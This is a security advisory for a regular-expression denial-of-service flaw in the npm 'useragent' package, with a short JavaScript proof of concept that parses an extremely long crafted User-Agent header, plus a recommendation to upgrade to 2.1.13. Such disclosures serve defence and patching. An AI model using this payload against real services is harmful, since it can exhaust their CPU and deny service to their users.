Lucene search

K
nodejsMathias MadsenNODEJS:312
HistoryFeb 09, 2017 - 8:11 p.m.

ReDoS via long UserAgent header

2017-02-0920:11:10
Mathias Madsen
www.npmjs.com
41

0.001 Low

EPSS

Percentile

47.1%

Overview

Affected versions of useragent are vulnerable to regular expression denial of service when an arbitrarily long User-Agent header is parsed.

Proof of Concept

var useragent = require('useragent');

var badUserAgent = 'MSIE 0.0'+Array(900000).join('0')+'XBLWP';
var request = 'GET / HTTP/1.1\r\nUser-Agent: ' + badUserAgent + '\r\n\r\n';
console.log(useragent.parse(request));

Recommendation

Update to version 2.1.13 or later.

References

GitHub Advisory

CPENameOperatorVersion
useragentle2.1.12

0.001 Low

EPSS

Percentile

47.1%